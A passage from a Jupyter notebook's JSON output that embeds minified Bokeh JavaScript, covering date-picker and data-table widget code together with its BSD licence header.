e},toString:function(t){return t=t||this._o.format,B(this._d)?this._o.toString?this._o.toString(this._d,t):o?n(this._d).format(t):this._d.toDateString():\\\"\\\"},getMoment:function(){return o?n(this._d):null},setMoment:function(t,e){o&&n.isMoment(t)&&this.setDate(t.toDate(),e)},getDate:function(){return B(this._d)?new Date(this._d.getTime()):null},setDate:function(t,e){if(!t)return this._d=null,this._o.field&&(this._o.field.value=\\\"\\\",r(this._o.field,\\\"change\\\",{firedBy:this})),this.draw();if(\\\"string\\\"==typeof t&&(t=new Date(Date.parse(t))),B(t)){var n=this._o.minDate,i=this._o.maxDate;B(n)&&t<n?t=n:B(i)&&i<t&&(t=i),this._d=new Date(t.getTime()),j(this._d),this.gotoDate(this._d),this._o.field&&(this._o.field.value=this.toString(),r(this._o.field,\\\"change\\\",{firedBy:this})),e||\\\"function\\\"!=typeof this._o.onSelect||this._o.onSelect.call(this,this.getDate())}},gotoDate:function(t){var e=!0;if(B(t)){if(this.calendars){var n=new Date(this.calendars[0].year,this.calendars[0].month,1),i=new Date(this.calendars[this.calendars.length-1].year,this.calendars[this.calendars.length-1].month,1),r=t.getTime();i.setMonth(i.getMonth()+1),i.setDate(i.getDate()-1),e=r<n.getTime()||i.getTime()<r}e&&(this.calendars=[{month:t.getMonth(),year:t.getFullYear()}],\\\"right\\\"===this._o.mainCalendar&&(this.calendars[0].month+=1-this._o.numberOfMonths)),this.adjustCalendars()}},adjustDate:function(t,e){var n,i=this.getDate()||new Date,r=24*parseInt(e)*60*60*1e3;\\\"add\\\"===t?n=new Date(i.valueOf()+r):\\\"subtract\\\"===t&&(n=new Date(i.valueOf()-r)),this.setDate(n)},adjustCalendars:function(){this.calendars[0]=e(this.calendars[0]);for(var t=1;t<this._o.numberOfMonths;t++)this.calendars[t]=e({month:this.calendars[0].month+t,year:this.calendars[0].year});this.draw()},gotoToday:function(){this.gotoDate(new Date)},gotoMonth:function(t){isNaN(t)||(this.calendars[0].month=parseInt(t,10),this.adjustCalendars())},nextMonth:function(){this.calendars[0].month++,this.adjustCalendars()},prevMonth:function(){this.calendars[0].month--,this.adjustCalendars()},gotoYear:function(t){isNaN(t)||(this.calendars[0].year=parseInt(t,10),this.adjustCalendars())},setMinDate:function(t){t instanceof Date?(j(t),this._o.minDate=t,this._o.minYear=t.getFullYear(),this._o.minMonth=t.getMonth()):(this._o.minDate=h.minDate,this._o.minYear=h.minYear,this._o.minMonth=h.minMonth,this._o.startRange=h.startRange),this.draw()},setMaxDate:function(t){t instanceof Date?(j(t),this._o.maxDate=t,this._o.maxYear=t.getFullYear(),this._o.maxMonth=t.getMonth()):(this._o.maxDate=h.maxDate,this._o.maxYear=h.maxYear,this._o.maxMonth=h.maxMonth,this._o.endRange=h.endRange),this.draw()},setStartRange:function(t){this._o.startRange=t},setEndRange:function(t){this._o.endRange=t},draw:function(t){if(this._v||t){var e,n=this._o,i=n.minYear,r=n.maxYear,o=n.minMonth,s=n.maxMonth,a=\\\"\\\";this._y<=i&&(this._y=i,!isNaN(o)&&this._m<o&&(this._m=o)),this._y>=r&&(this._y=r,!isNaN(s)&&this._m>s&&(this._m=s)),e=\\\"pika-title-\\\"+Math.random().toString(36).replace(/[^a-z]+/g,\\\"\\\").substr(0,2);for(var l=0;l<n.numberOfMonths;l++)a+='<div class=\\\"pika-lendar\\\">'+f(this,l,this.calendars[l].year,this.calendars[l].month,this.calendars[0].year,e)+this.render(this.calendars[l].year,this.calendars[l].month,e)+\\\"</div>\\\";this.el.innerHTML=a,n.bound&&\\\"hidden\\\"!==n.field.type&&u(function(){n.trigger.focus()},1),\\\"function\\\"==typeof this._o.onDraw&&this._o.onDraw(this),n.bound&&n.field.setAttribute(\\\"aria-label\\\",\\\"Use the arrow keys to pick a date\\\")}},adjustPosition:function(){var t,e,n,i,r,o,s,a,l,u;if(!this._o.container){if(this.el.style.position=\\\"absolute\\\",t=this._o.trigger,e=t,n=this.el.offsetWidth,i=this.el.offsetHeight,r=window.innerWidth||c.documentElement.clientWidth,o=window.innerHeight||c.documentElement.clientHeight,s=window.pageYOffset||c.body.scrollTop||c.documentElement.scrollTop,\\\"function\\\"==typeof t.getBoundingClientRect)u=t.getBoundingClientRect(),a=u.left+window.pageXOffset,l=u.bottom+window.pageYOffset;else for(a=e.offsetLeft,l=e.offsetTop+e.offsetHeight;e=e.offsetParent;)a+=e.offsetLeft,l+=e.offsetTop;(this._o.reposition&&r<a+n||-1<this._o.position.indexOf(\\\"right\\\")&&0<a-n+t.offsetWidth)&&(a=a-n+t.offsetWidth),(this._o.reposition&&o+s<l+i||-1<this._o.position.indexOf(\\\"top\\\")&&0<l-i-t.offsetHeight)&&(l=l-i-t.offsetHeight),this.el.style.left=a+\\\"px\\\",this.el.style.top=l+\\\"px\\\"}},render:function(t,e,n){var i=this._o,r=new Date,o=U(t,e),s=new Date(t,e,1).getDay(),a=[],l=[];j(r),0<i.firstDay&&(s-=i.firstDay)<0&&(s+=7);for(var u=0===e?11:e-1,c=11===e?0:e+1,d=0===e?t-1:t,h=11===e?t+1:t,p=U(d,u),f=o+s,m=f;7<m;)m-=7;f+=7-m;for(var v,g,y,b,_,w,x,k=!1,S=0,C=0;S<f;S++){var E=new Date(t,e,S-s+1),D=!!B(this._d)&&z(E,this._d),M=z(E,r),A=-1!==i.events.indexOf(E.toDateString()),N=S<s||o+s<=S,V=S-s+1,I=e,P=t,R=i.startRange&&z(i.startRange,E),L=i.endRange&&z(i.endRange,E),T=i.startRange&&i.endRange&&i.startRange<E&&E<i.endRange,O=i.minDate&&E<i.minDate||i.maxDate&&E>i.maxDate||i.disableWeekends&&(0===(x=E.getDay())||6===x)||i.disableDayFn&&i.disableDayFn(E);N&&(S<s?(V=p+V,I=u,P=d):(V-=o,I=c,P=h));var W={day:V,month:I,year:P,hasEvent:A,isSelected:D,isToday:M,isDisabled:O,isEmpty:N,isStartRange:R,isEndRange:L,isInRange:T,showDaysInNextAndPreviousMonths:i.showDaysInNextAndPreviousMonths,enableSelectionDaysInNextAndPreviousMonths:i.enableSelectionDaysInNextAndPreviousMonths};i.pickWholeWeek&&D&&(k=!0),l.push(F(W)),7==++C&&(i.showWeekNumber&&l.unshift((y=S-s,b=e,_=t,w=void 0,w=new Date(_,0,1),'<td class=\\\"pika-week\\\">'+Math.ceil(((new Date(_,b,y)-w)/864e5+w.getDay()+1)/7)+\\\"</td>\\\")),a.push((v=l,g=i.isRTL,'<tr class=\\\"pika-row'+(i.pickWholeWeek?\\\" pick-whole-week\\\":\\\"\\\")+(k?\\\" is-selected\\\":\\\"\\\")+'\\\">'+(g?v.reverse():v).join(\\\"\\\")+\\\"</tr>\\\")),C=0,k=!(l=[]))}return Y(i,a,n)},isVisible:function(){return this._v},show:function(){var t,e,n;this.isVisible()||(this._v=!0,this.draw(),t=this.el,e=\\\"is-hidden\\\",t.className=(n=(\\\" \\\"+t.className+\\\" \\\").replace(\\\" \\\"+e+\\\" \\\",\\\" \\\")).trim?n.trim():n.replace(/^\\\\s+|\\\\s+$/g,\\\"\\\"),this._o.bound&&(a(c,\\\"click\\\",this._onClick),this.adjustPosition()),\\\"function\\\"==typeof this._o.onOpen&&this._o.onOpen.call(this))},hide:function(){var t,e,n=this._v;!1!==n&&(this._o.bound&&i(c,\\\"click\\\",this._onClick),this.el.style.position=\\\"static\\\",this.el.style.left=\\\"auto\\\",this.el.style.top=\\\"auto\\\",t=this.el,l(t,e=\\\"is-hidden\\\")||(t.className=\\\"\\\"===t.className?e:t.className+\\\" \\\"+e),this._v=!1,void 0!==n&&\\\"function\\\"==typeof this._o.onClose&&this._o.onClose.call(this))},destroy:function(){var t=this._o;this.hide(),i(this.el,\\\"mousedown\\\",this._onMouseDown,!0),i(this.el,\\\"touchend\\\",this._onMouseDown,!0),i(this.el,\\\"change\\\",this._onChange),t.keyboardInput&&i(c,\\\"keydown\\\",this._onKeyChange),t.field&&(i(t.field,\\\"change\\\",this._onInputChange),t.bound&&(i(t.trigger,\\\"click\\\",this._onInputClick),i(t.trigger,\\\"focus\\\",this._onInputFocus),i(t.trigger,\\\"blur\\\",this._onInputBlur))),this.el.parentNode&&this.el.parentNode.removeChild(this.el)}},t})}})}(this);\\n\",\n       \"      //# sourceMappingURL=bokeh-widgets.min.js.map\\n\",\n       \"      /* END bokeh-widgets.min.js */\\n\",\n       \"    },\\n\",\n       \"    \\n\",\n       \"    function(Bokeh) {\\n\",\n       \"      /* BEGIN bokeh-tables.min.js */\\n\",\n       \"      /*!\\n\",\n       \"       * Copyright (c) 2012 - 2018, Anaconda, Inc., and Bokeh Contributors\\n\",\n       \"       * All rights reserved.\\n\",\n       \"       * \\n\",\n       \"       * Redistribution and use in source and binary forms, with or without modification,\\n\",\n       \"       * are permitted provided that the following conditions are met:\\n\",\n       \"       * \\n\",\n       \"       * Redistributions of source code must retain the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer.\\n\",\n       \"       * \\n\",\n       \"       * Redistributions in binary form must reproduce the above copyright notice,\\n\",\n       \"       * this list of conditions and the following disclaimer in the documentation\\n\",\n       \"       * and/or other materials provided with the distribution.\\n\",\n       \"       * \\n\",\n       \"       * Neither the name of Anaconda nor the names of any contributors\\n\",\n       \"       * may be used to endorse or promote products derived from this software\\n\",\n       \"       * without specific prior written permission.\\n\",\n       \"       * \\n\",\n       \"       * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \\\"AS IS\\\"\\n\",\n       \"       * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\\n\",\n       \"       * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\\n\",\n       \"       * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\\n\",\n       \"       * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\\n\",\n       \"       * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\\n\",\n       \"       * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\\n\",\n       \"       * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\\n\",\n       \"       * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\\n\",\n       \"       * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\\n\",\n       \"       * THE POSSIBILITY OF SUCH DAMAGE.\\n\",\n       \"       */\\n\",\n       \"      !function(a,b){!function(Bokeh){var define;(function(e,t,n){if(null!=Bokeh)return Bokeh.register_plugin(e,{\\\"models/widgets/tables/cell_editors\\\":433,\\\"models/widgets/tables/cell_formatters\\\":434,\\\"models/widgets/tables/data_table\\\":435,\\\"models/widgets/tables/index\\\":436,\\\"models/widgets/tables/main\\\":437,\\\"models/widgets/tables/table_column\\\":438,\\\"models/widgets/tables/table_widget\\\":439,\\\"models/widgets/widget\\\":440},437);throw new Error(\\\"Cannot find Bokeh. You have to load it prior to loading plugins.\\\")})({433:function(e,t,n){var o=e(391),r=e(15),i=e(5),l=e(6),s=e(59),a=e(435),c=function(t){function e(e){return t.call(this,o.__assign({model:e.column.model},e))||this}return o.__extends(e,t),Object.defineProperty(e.prototype,\\\"emptyValue\\\",{get:function(){return null},enumerable:!0,configurable:!0}),e.prototype.initialize=function(e){t.prototype.initialize.call(this,e),this.inputEl=this._createInput(),this.defaultValue=null,this.args=e,this.render()},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-cell-editor\\\")},e.prototype.render=function(){t.prototype.render.call(this),this.args.container.appendChild(this.el),this.el.appendChild(this.inputEl),this.renderEditor(),this.disableNavigation()},e.prototype.renderEditor=function(){},e.prototype.disableNavigation=function(){this.inputEl.addEventListener(\\\"keydown\\\",function(e){switch(e.keyCode){case i.Keys.Left:case i.Keys.Right:case i.Keys.Up:case i.Keys.Down:case i.Keys.PageUp:case i.Keys.PageDown:e.stopImmediatePropagation()}})},e.prototype.destroy=function(){this.remove()},e.prototype.focus=function(){this.inputEl.focus()},e.prototype.show=function(){},e.prototype.hide=function(){},e.prototype.position=function(){},e.prototype.getValue=function(){return this.inputEl.value},e.prototype.setValue=function(e){this.inputEl.value=e},e.prototype.serializeValue=function(){return this.getValue()},e.prototype.isValueChanged=function(){return!(\\\"\\\"==this.getValue()&&null==this.defaultValue)&&this.getValue()!==this.defaultValue},e.prototype.applyValue=function(e,t){var n=this.args.grid.getData(),o=n.index.indexOf(e[a.DTINDEX_NAME]);n.setField(o,this.args.column.field,t)},e.prototype.loadValue=function(e){var t=e[this.args.column.field];this.defaultValue=null!=t?t:this.emptyValue,this.setValue(this.defaultValue)},e.prototype.validateValue=function(e){if(this.args.column.validator){var t=this.args.column.validator(e);if(!t.valid)return t}return{valid:!0,msg:null}},e.prototype.validate=function(){return this.validateValue(this.getValue())},e}(l.DOMView);n.CellEditorView=c;var u=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CellEditor\\\"},t}(s.Model);(n.CellEditor=u).initClass();var d=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),Object.defineProperty(e.prototype,\\\"emptyValue\\\",{get:function(){return\\\"\\\"},enumerable:!0,configurable:!0}),e.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},e.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},e.prototype.loadValue=function(e){t.prototype.loadValue.call(this,e),this.inputEl.defaultValue=this.defaultValue,this.inputEl.select()},e}(c);n.StringEditorView=d;var p=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"StringEditor\\\",this.prototype.default_view=d,this.define({completions:[r.Array,[]]})},t}(u);(n.StringEditor=p).initClass();var f=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.textarea()},t}(c);n.TextEditorView=f;var h=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TextEditor\\\",this.prototype.default_view=f},t}(u);(n.TextEditor=h).initClass();var g=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.select()},t.prototype.renderEditor=function(){for(var e=0,t=this.model.options;e<t.length;e++){var n=t[e];this.inputEl.appendChild(i.option({value:n},n))}this.focus()},t}(c);n.SelectEditorView=g;var m=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SelectEditor\\\",this.prototype.default_view=g,this.define({options:[r.Array,[]]})},t}(u);(n.SelectEditor=m).initClass();var v=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},t}(c);n.PercentEditorView=v;var w=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PercentEditor\\\",this.prototype.default_view=v},t}(u);(n.PercentEditor=w).initClass();var y=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"checkbox\\\",value:\\\"true\\\"})},t.prototype.renderEditor=function(){this.focus()},t.prototype.loadValue=function(e){this.defaultValue=!!e[this.args.column.field],this.inputEl.checked=this.defaultValue},t.prototype.serializeValue=function(){return this.inputEl.checked},t}(c);n.CheckboxEditorView=y;var C=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CheckboxEditor\\\",this.prototype.default_view=y},t}(u);(n.CheckboxEditor=C).initClass();var b=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},e.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},e.prototype.remove=function(){t.prototype.remove.call(this)},e.prototype.serializeValue=function(){return parseInt(this.getValue(),10)||0},e.prototype.loadValue=function(e){t.prototype.loadValue.call(this,e),this.inputEl.defaultValue=this.defaultValue,this.inputEl.select()},e.prototype.validateValue=function(e){return isNaN(e)?{valid:!1,msg:\\\"Please enter a valid integer\\\"}:t.prototype.validateValue.call(this,e)},e}(c);n.IntEditorView=b;var x=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"IntEditor\\\",this.prototype.default_view=b,this.define({step:[r.Number,1]})},t}(u);(n.IntEditor=x).initClass();var R=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o.__extends(e,t),e.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},e.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},e.prototype.remove=function(){t.prototype.remove.call(this)},e.prototype.serializeValue=function(){return parseFloat(this.getValue())||0},e.prototype.loadValue=function(e){t.prototype.loadValue.call(this,e),this.inputEl.defaultValue=this.defaultValue,this.inputEl.select()},e.prototype.validateValue=function(e){return isNaN(e)?{valid:!1,msg:\\\"Please enter a valid number\\\"}:t.prototype.validateValue.call(this,e)},e}(c);n.NumberEditorView=R;var S=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"NumberEditor\\\",this.prototype.default_view=R,this.define({step:[r.Number,.01]})},t}(u);(n.NumberEditor=S).initClass();var E=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},t}(c);n.TimeEditorView=E;var k=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TimeEditor\\\",this.prototype.default_view=E},t}(u);(n.TimeEditor=k).initClass();var T=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype._createInput=function(){return i.input({type:\\\"text\\\"})},Object.defineProperty(t.prototype,\\\"emptyValue\\\",{get:function(){return new Date},enumerable:!0,configurable:!0}),t.prototype.renderEditor=function(){this.inputEl.focus(),this.inputEl.select()},t.prototype.destroy=function(){e.prototype.destroy.call(this)},t.prototype.show=function(){e.prototype.show.call(this)},t.prototype.hide=function(){e.prototype.hide.call(this)},t.prototype.position=function(){return e.prototype.position.call(this)},t.prototype.getValue=function(){},t.prototype.setValue=function(e){},t}(c);n.DateEditorView=T;var P=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DateEditor\\\",this.prototype.default_view=T},t}(u);(n.DateEditor=P).initClass()},434:function(e,t,n){var a=e(391),u=e(361),c=e(449),s=e(390),o=e(15),d=e(5),p=e(44),r=e(59),i=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.prototype.doFormat=function(e,t,n,o,r){return null==n?\\\"\\\":(n+\\\"\\\").replace(/&/g,\\\"&amp;\\\").replace(/</g,\\\"&lt;\\\").replace(/>/g,\\\"&gt;\\\")},e}(r.Model),l=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"StringFormatter\\\",this.define({font_style:[o.FontStyle,\\\"normal\\\"],text_align:[o.TextAlign,\\\"left\\\"],text_color:[o.Color]})},e.prototype.doFormat=function(e,t,n,o,r){var i=this.font_style,l=this.text_align,s=this.text_color,a=d.span({},null==n?\\\"\\\":\\\"\\\"+n);switch(i){case\\\"bold\\\":a.style.fontWeight=\\\"bold\\\";break;case\\\"italic\\\":a.style.fontStyle=\\\"italic\\\"}return null!=l&&(a.style.textAlign=l),null!=s&&(a.style.color=s),a.outerHTML},e}(n.CellFormatter=i);(n.StringFormatter=l).initClass();var f=function(c){function e(e){return c.call(this,e)||this}return a.__extends(e,c),e.initClass=function(){this.prototype.type=\\\"NumberFormatter\\\",this.define({format:[o.String,\\\"0,0\\\"],language:[o.String,\\\"en\\\"],rounding:[o.String,\\\"round\\\"]})},e.prototype.doFormat=function(e,t,n,o,r){var i=this,l=this.format,s=this.language,a=function(){switch(i.rounding){case\\\"round\\\":case\\\"nearest\\\":return Math.round;case\\\"floor\\\":case\\\"rounddown\\\":return Math.floor;case\\\"ceil\\\":case\\\"roundup\\\":return Math.ceil}}();return n=u.format(n,l,s,a),c.prototype.doFormat.call(this,e,t,n,o,r)},e}(l);(n.NumberFormatter=f).initClass();var h=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"BooleanFormatter\\\",this.define({icon:[o.String,\\\"check\\\"]})},e.prototype.doFormat=function(e,t,n,o,r){return n?d.i({class:this.icon}).outerHTML:\\\"\\\"},e}(i);(n.BooleanFormatter=h).initClass();var g=function(l){function e(e){return l.call(this,e)||this}return a.__extends(e,l),e.initClass=function(){this.prototype.type=\\\"DateFormatter\\\",this.define({format:[o.String,\\\"ISO-8601\\\"]})},e.prototype.getFormat=function(){switch(this.format){case\\\"ATOM\\\":case\\\"W3C\\\":case\\\"RFC-3339\\\":case\\\"ISO-8601\\\":return\\\"%Y-%m-%d\\\";case\\\"COOKIE\\\":return\\\"%a, %d %b %Y\\\";case\\\"RFC-850\\\":return\\\"%A, %d-%b-%y\\\";case\\\"RFC-1123\\\":case\\\"RFC-2822\\\":return\\\"%a, %e %b %Y\\\";case\\\"RSS\\\":case\\\"RFC-822\\\":case\\\"RFC-1036\\\":return\\\"%a, %e %b %y\\\";case\\\"TIMESTAMP\\\":return;default:return this.format}},e.prototype.doFormat=function(e,t,n,o,r){n=p.isString(n)?parseInt(n,10):n;var i=s(n,this.getFormat());return l.prototype.doFormat.call(this,e,t,i,o,r)},e}(i);(n.DateFormatter=g).initClass();var m=function(t){function e(e){return t.call(this,e)||this}return a.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"HTMLTemplateFormatter\\\",this.define({template:[o.String,\\\"<%= value %>\\\"]})},e.prototype.doFormat=function(e,t,n,o,r){var i=this.template;if(null==n)return\\\"\\\";var l=c(i),s=a.__assign({},r,{value:n});return l(s)},e}(i);(n.HTMLTemplateFormatter=m).initClass()},435:function(e,t,i){var o=e(391),s=e(447).Grid,a=e(445).RowSelectionModel,c=e(444).CheckboxSelectColumn,r=e(15),n=e(38),l=e(21),u=e(32),d=e(14),p=e(439),f=e(440);i.DTINDEX_NAME=\\\"__bkdt_internal_index__\\\";var h=function(){function e(e,t){if(this.source=e,this.view=t,i.DTINDEX_NAME in this.source.data)throw new Error(\\\"special name \\\"+i.DTINDEX_NAME+\\\" cannot be used as a data table column\\\");this.index=this.view.indices}return e.prototype.getLength=function(){return this.index.length},e.prototype.getItem=function(e){for(var t={},n=0,o=u.keys(this.source.data);n<o.length;n++){var r=o[n];t[r]=this.source.data[r][this.index[e]]}return t[i.DTINDEX_NAME]=this.index[e],t},e.prototype.getField=function(e,t){return t==i.DTINDEX_NAME?this.index[e]:this.source.data[t][this.index[e]]},e.prototype.setField=function(e,t,n){var o={},r=this.index[e];o[t]=[[r,n]],this.source.patch(o)},e.prototype.getItemMetadata=function(e){return null},e.prototype.getRecords=function(){var t=this;return l.range(0,this.getLength()).map(function(e){return t.getItem(e)})},e.prototype.sort=function(e){var u=e.map(function(e){return[e.sortCol.field,e.sortAsc?1:-1]});0==u.length&&(u=[[i.DTINDEX_NAME,1]]);var d=this.getRecords(),p=this.index.slice();this.index.sort(function(e,t){for(var n=0,o=u;n<o.length;n++){var r=o[n],i=r[0],l=r[1],s=d[p.indexOf(e)][i],a=d[p.indexOf(t)][i],c=s==a?0:a<s?l:-l;if(0!=c)return c}return 0})},e}();i.DataProvider=h;var g=function(t){function e(){var e=null!==t&&t.apply(this,arguments)||this;return e._in_selection_update=!1,e._warned_not_reorderable=!1,e}return o.__extends(e,t),e.prototype.connect_signals=function(){var e=this;t.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return e.render()}),this.connect(this.model.source.streaming,function(){return e.updateGrid()}),this.connect(this.model.source.patching,function(){return e.updateGrid()}),this.connect(this.model.source.change,function(){return e.updateGrid()}),this.connect(this.model.source.properties.data.change,function(){return e.updateGrid()}),this.connect(this.model.source.selected.change,function(){return e.updateSelection()}),this.connect(this.model.source.selected.properties.indices.change,function(){return e.updateSelection()})},e.prototype.updateGrid=function(){var t=this;this.model.view.compute_indices(),this.data.constructor(this.model.source,this.model.view);var n=this.grid.getColumns(),e=this.grid.getSortColumns().map(function(e){return{sortCol:{field:n[t.grid.getColumnIndex(e.columnId)].field},sortAsc:e.sortAsc}});this.data.sort(e),this.grid.invalidate(),this.grid.render()},e.prototype.updateSelection=function(){var t=this;if(!this._in_selection_update){var e=this.model.source.selected,n=e.indices.map(function(e){return t.data.index.indexOf(e)});this._in_selection_update=!0,this.grid.setSelectedRows(n),this._in_selection_update=!1;var o=this.grid.getViewport(),r=this.model.get_scroll_index(o,n);null!=r&&this.grid.scrollRowToTop(r)}},e.prototype.newIndexColumn=function(){return{id:n.uniqueId(),name:this.model.index_header,field:i.DTINDEX_NAME,width:this.model.index_width,behavior:\\\"select\\\",cannotTriggerInsert:!0,resizable:!1,selectable:!1,sortable:!0,cssClass:\\\"bk-cell-index\\\",headerCssClass:\\\"bk-header-index\\\"}},e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-data-table\\\")},e.prototype.render=function(){var e,n=this,o=this.model.columns.map(function(e){return e.toColumn()});if(\\\"checkbox\\\"==this.model.selectable&&(e=new c({cssClass:\\\"bk-cell-select\\\"}),o.unshift(e.getColumnDefinition())),null!=this.model.index_position){var t=this.model.index_position,r=this.newIndexColumn();-1==t?o.push(r):t<-1?o.splice(t+1,0,r):o.splice(t,0,r)}var i=this.model.reorderable;!i||\\\"undefined\\\"!=typeof $&&null!=$.fn&&null!=$.fn.sortable||(this._warned_not_reorderable||(d.logger.warn(\\\"jquery-ui is required to enable DataTable.reorderable\\\"),this._warned_not_reorderable=!0),i=!1);var l={enableCellNavigation:!1!==this.model.selectable,enableColumnReorder:i,forceFitColumns:this.model.fit_columns,autoHeight:\\\"auto\\\"==this.model.height,multiColumnSort:this.model.sortable,editable:this.model.editable,autoEdit:!1};null!=this.model.width?this.el.style.width=this.model.width+\\\"px\\\":this.el.style.width=this.model.default_width+\\\"px\\\",null!=this.model.height&&\\\"auto\\\"!=this.model.height&&(this.el.style.height=this.model.height+\\\"px\\\"),this.data=new h(this.model.source,this.model.view),this.grid=new s(this.el,this.data,o,l),this.grid.onSort.subscribe(function(e,t){o=t.sortCols,n.data.sort(o),n.grid.invalidate(),n.updateSelection(),n.grid.render(),n.model.header_row||n._hide_header()}),!1!==this.model.selectable&&(this.grid.setSelectionModel(new a({selectActiveRow:null==e})),null!=e&&this.grid.registerPlugin(e),this.grid.onSelectedRowsChanged.subscribe(function(e,t){n._in_selection_update||(n.model.source.selected.indices=t.rows.map(function(e){return n.data.index[e]}))}),this.updateSelection(),this.model.header_row||this._hide_header())},e.prototype._hide_header=function(){for(var e=0,t=Array.from(this.el.querySelectorAll(\\\".slick-header-columns\\\"));e<t.length;e++){var n=t[e];n.style.height=\\\"0px\\\"}this.grid.resizeCanvas()},e}(f.WidgetView);i.DataTableView=g;var m=function(n){function e(e){var t=n.call(this,e)||this;return t.default_width=600,t}return o.__extends(e,n),e.initClass=function(){this.prototype.type=\\\"DataTable\\\",this.prototype.default_view=g,this.define({columns:[r.Array,[]],fit_columns:[r.Bool,!0],sortable:[r.Bool,!0],reorderable:[r.Bool,!0],editable:[r.Bool,!1],selectable:[r.Any,!0],index_position:[r.Int,0],index_header:[r.String,\\\"#\\\"],index_width:[r.Int,40],scroll_to_selection:[r.Bool,!0],header_row:[r.Bool,!0]}),this.override({height:400})},e.prototype.get_scroll_index=function(t,e){return this.scroll_to_selection&&0!=e.length?l.any(e,function(e){return t.top<=e&&e<=t.bottom})?null:Math.max(0,Math.min.apply(Math,e)-1):null},e}(p.TableWidget);(i.DataTable=m).initClass()},436:function(e,t,n){var o=e(391);o.__exportStar(e(433),n),o.__exportStar(e(434),n);var r=e(435);n.DataTable=r.DataTable;var i=e(438);n.TableColumn=i.TableColumn;var l=e(439);n.TableWidget=l.TableWidget},437:function(e,t,n){var o=e(436);n.Tables=o;var r=e(0);r.register_models(o)},438:function(e,t,n){var o=e(391),r=e(434),i=e(433),l=e(15),s=e(38),a=e(59),c=function(t){function e(e){return t.call(this,e)||this}return o.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"TableColumn\\\",this.define({field:[l.String],title:[l.String],width:[l.Number,300],formatter:[l.Instance,function(){return new r.StringFormatter}],editor:[l.Instance,function(){return new i.StringEditor}],sortable:[l.Bool,!0],default_sort:[l.String,\\\"ascending\\\"]})},e.prototype.toColumn=function(){return{id:s.uniqueId(),field:this.field,name:this.title,width:this.width,formatter:null!=this.formatter?this.formatter.doFormat.bind(this.formatter):void 0,model:this.editor,editor:this.editor.default_view,sortable:this.sortable,defaultSortAsc:\\\"ascending\\\"==this.default_sort}},e}(a.Model);(n.TableColumn=c).initClass()},439:function(e,t,n){var o=e(391),r=e(440),i=e(199),l=e(15),s=function(t){function e(e){return t.call(this,e)||this}return o.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"TableWidget\\\",this.define({source:[l.Instance],view:[l.Instance,function(){return new 